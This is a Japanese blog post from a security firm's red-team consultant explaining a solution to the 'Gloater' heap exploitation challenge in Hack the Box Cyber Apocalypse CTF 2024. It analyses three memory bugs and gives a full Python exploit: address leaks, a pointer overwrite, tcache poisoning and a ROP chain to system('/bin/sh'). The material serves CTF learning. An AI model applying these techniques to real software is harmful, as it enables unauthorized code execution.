はじめに
コンサルティングサービス部の鈴木です。普段はレッドチーム業務を担当しています。
今回は2024年3月に開催されたHack the Box Cyber Apocalypse CTF 2024にNTT Securityの一員として参加してきたので、出題されたpwn問題の解説をしたいと思います。
例年、Hack the Boxのビジネス向けのCTFは問題が公開されていないのですが、今年は問題がGitHubで公開されています。
公式の問題リンクは以下のリンクです。Writeupも同梱されているのでネタバレにご注意ください。
Gloater [Insane]
出題されたpwn問題で最も難易度が高かったGloaterについて解説します。
実際に配布された問題ファイルはこちらです。cyber-apocalypse-2024/pwn/[Insane] Gloater/release at main · hackthebox/cyber-apocalypse-2024 (github.com)
pwn_gloater.zipを展開すると以下のようなファイルが出てきます。この問題にはソースコードが含まれていないので、リバースエンジニアリングをしてバグを特定する必要があります。
次に防御機構のチェックをします。checksecを実行した結果は以下の図のようになりました。PIC(Position Independent Code)がオンになっていて、すべての領域のベースアドレスがランダム化されるため、アドレスのリークが必要になることが予想されます。
問題ファイルを試しに実行してみると、以下の図のようになりました。最初に文字列を入力することができて、そのあと、メニュー画面が表示されました。
解析
Ghidraでそれぞれの関数をデコンパイルして解析していきます。
main関数は以下のようになっていました。メニューの数値を受け取り、それぞれの関数に分岐していく構造になっています。
メニューの各関数の動作を大まかにまとめると以下のようになっていました。
- change_user
- 最初に入力したユーザ名を変更する
- 一度だけ実行可能
- create_taunt
- ヒープに構造体の実体を作る
- ポインタはグローバル変数領域の配列で持つ (taunts)
- remove_taunt
- free関数を呼び出して構造体の実体を解放する
- send_taunts
- 作った構造体をすべて解放してプログラムを終了する
- set_super_taunt
- 文字列入力を受け取ってスタック領域に書き込む
- 一度だけ実行可能
また、解析の結果、構造体は以下のようになっていると考えられます。
struct taunt {
char target[32];
char* data;
};
バグ
バグは全部で3つあります。
一つ目のバグはset_super_taunt関数にバグがあります。
バグがあるのは下図の部分で、readで読み込んだデータを文字列として表示していますが、readで読み込んだデータがヌル文字で終わっていない場合、バッファの隣にあるデータまではみ出して表示してしまいます。
main関数に戻ってバッファ周辺のメモリ配置を確認すると、バッファのすぐ隣にあるデータはputs関数のアドレスなので、このバグを使ってlibcのベースアドレスをリークすることができます。
2つ目と3つ目のバグはchange_userにあります。
2つ目のバグは下図の部分です。
userは最初に読み込んだ文字列で、read関数によって読み込んでいるので、ヌル終端されていない可能性があり、その場合userの隣のsuper_taunt_plagueのデータを上図のprintfで表示できます。
super_taunt_plagueはset_super_taunt関数で初期化されていて、set_super_taunt関数を見るとsuper_taunt_plagueにはmain関数のローカル変数のバッファの先頭アドレスが入っているため、このバグを使ってスタックのアドレスをリークできることが分かります。
3つ目のバグがあるのは下図の部分です。
global_username_bufはグローバル変数で、Ghidraで配置を確認すると以下の図のようになっていました。
global_username_bufからすぐ隣のポインタの配列(taunts)まで4バイトしかないのに対して、strncpyで最大16バイトまで書き込むことができてしまいます。これによって構造体を指しているポインタを書き換えることができます。
まとめると以下の3つのバグがあります。
- set_super_tauntにlibcのベースアドレスをリークできるバグ
- change_userにスタックのアドレスをリークできるバグ
- change_userにヒープ上の構造体を指すポインタを上書きできるバグ
攻撃方針
まず、set_super_taunt関数のバグを使ってlibcのアドレスをリークします。次に、change_user関数のバグを使ってスタックのアドレスをリークします。そして、change_user関数のバグを使ってヒープ上の構造体を指しているポインタをずらします。
ポインタをずらす部分についてはあらかじめ以下の図のような配置を作っておきます。
そして以下のようにtauntAを指すポインタを部分的に書き換えてdataAに作っておいた偽のチャンクを指すようにすると、tauntAをfreeしたときに赤色で示した部分をまとめてfreeできます。
これによってできることとして、例えば、
1.赤色の部分をfreeする
2.tauntBをfreeする
3.赤色の部分と同じサイズのデータをもつ構造体をcreate_tauntで作る
という操作を行えば、解放済みのtauntBの領域を自由に書き換えられます。解放済みのチャンクは連結リストにつながって、次回以降のmallocで再利用される仕組みになっているため、解放済みのチャンクを書き換えられるということはmallocの返り値をコントロールすることにつながります。このあたりの仕組みは検索エンジンで "tcache mechanism" などのキーワードで検索すると調べられます。
mallocの返り値をコントロールできた際にmallocで返すアドレスの候補として、libcの__malloc_hookや__free_hookなどの関数ポインタが挙げられます。しかし、今回の問題では最初のsetup関数でmallocとfreeに細工がされていて、mallocやfreeで扱うポインタがlibc領域に入っていないかをチェックするようになっていました。
今回はスタックのアドレスをリークできているので、スタック上のリターンアドレスを使うことにしました。libcのアドレスが分かっているので、system関数とlibcにあるROPガジェットを使えばシェルが取れそうです。
エクスプロイト
完成したエクスプロイトを以下に示します。
#!/usr/bin/env python3
# How to execute: ./exploit.py --remote
from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse
binary_file = './gloater'
libc_file = './libc.so.6'
ld_file = './ld-2.31.so'
binary = ELF(binary_file)
libc = ELF(libc_file)
def parse_command_line_args():
parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
parser.add_argument('--remote', action='store_true')
return parser.parse_args(sys.argv[1:])
def connect(args):
command = 'docker run -i htb-cyber-2024-gloater'
if args.remote:
r = remote('localhost', 9001)
else:
r = process(command.split(' '), stderr=sys.stderr)
return r
def u64x(data):
return u64(data.ljust(8, b'\0'))
def p64x(*nums):
data = b''
for num in nums:
data += p64(num)
return data
taunt_cnt = 0
user_is_changed = False
super_taunt_is_set = False
def menu(io, n):
io.sendlineafter(b'> ', str(n).encode())
def change_user(io, new_name):
global user_is_changed
assert not user_is_changed
menu(io, 1)
io.sendafter(b'User: ', new_name)
io.recvuntil(b'Old User was ')
old_user = io.recvuntil(b'\n')[:-1]
user_is_changed = True
return old_user
def create(io, target_name, content):
global taunt_cnt
assert taunt_cnt < 8
assert len(target_name) <= 0x1f
assert len(content) <= 0x3ff
menu(io, 2)
# read 0x1f
io.sendafter(b'target: ', target_name)
# read 0x3ff, then malloc(<number of read>)
io.sendafter(b'Taunt: ', content)
idx = taunt_cnt
taunt_cnt += 1
return idx
def remove(io, idx):
menu(io, 3)
io.sendlineafter(b'Index: ', str(idx).encode())
def send_taunts(io):
menu(io, 4)
def set_super_taunt(io, idx):
global super_taunt_is_set
assert not super_taunt_is_set
content = b'puts:'.rjust(0x88, b'A')
menu(io, 5)
io.sendlineafter(b'Taunt: ', str(idx).encode())
io.sendafter(b'taunt: ', content)
io.recvuntil(b'puts:')
libc_puts = u64x(io.recvuntil(b'\n')[:-1])
super_taunt_is_set = True
return libc_puts
def main():
args = parse_command_line_args()
io = connect(args)
# set a user name
io.sendafter(b'> ', b'A'*0x10)
# set the fake chunk
fake_chunk = p64x(0xc0ffee, 0xa1, 0xaa, 0xbb, 0xcc, 0xdd, 0)
first = create(io, b'B'*0x1f, fake_chunk)
libc_puts = set_super_taunt(io, first)
libc_base = libc_puts - libc.symbols['puts']
print(f'libc_puts = {hex(libc_puts)}')
print(f'libc_base = {hex(libc_base)}')
ptr_holder = create(io, b'poniter', b'A'*0x38)
tail = create(io, b'tail', b'B'*0x38)
dummy0 = create(io, b'dummy0', b'C'*0x28)
# free the fake chunk
remove(io, tail)
remove(io, ptr_holder)
leak_str = change_user(io, b'GGGG' + p8(0xa0+0x40))
print(leak_str)
print(len(leak_str))
stack_leak = u64x(leak_str[16:-3])
print(f'stack_leak = {hex(stack_leak)}')
return_address_holder_example = 0x00007fff20f966b8
leak_str_example = 0x7fff20f966d0
return_address_holder = stack_leak - leak_str_example + return_address_holder_example
print(f'return_address_holder = {hex(return_address_holder)}')
remove(io, first)
# overwrite the linked list
remove(io, dummy0)
create(io, b'A'*16+b'editor', (b'H'*0x58 + p64x(0x41, return_address_holder)).ljust(0x98, b'I'))
# build a ROP chain
libc_pop_rdi_offset = 0x23b6a
libc_ret_offset = libc_pop_rdi_offset + 1
libc_binsh_offset = 0x1b45bd
rop_chain = b''
rop_chain += p64x(libc_base + libc_ret_offset, libc_base + libc_pop_rdi_offset, libc_base + libc_binsh_offset, libc_base + libc.symbols['system'])
create(io, b'A'*16+b'dummy', b'J'*0x38)
create(io, b'A'*16+b'writer', rop_chain.ljust(0x38, b'K'))
io.interactive()
if __name__ == '__main__':
main()
このコードを実行すると以下のようにシェルが取れます。
おわりに
今回はHack the Box Cyber Apocalypse CTF 2024で出題されたpwn問題について解説させていただきました。
ちなみに公式の解法では構造体を指すポインタを書き換えるところまでは一緒ですが、tcacheの管理用の構造体を指すためにポインタを2バイト書き換えています。
公式解法と比べると本記事で解説した解法のほうが少し複雑になってしまいますが、公式解法の成功率が1/16なのに対し、本記事の解法なら100%成功します。
(公式のwriteup: cyber-apocalypse-2024/pwn/[Insane] Gloater at main · hackthebox/cyber-apocalypse-2024 (github.com))
今後もより良い解法を模索しつつ、研鑽に努めたいと思います。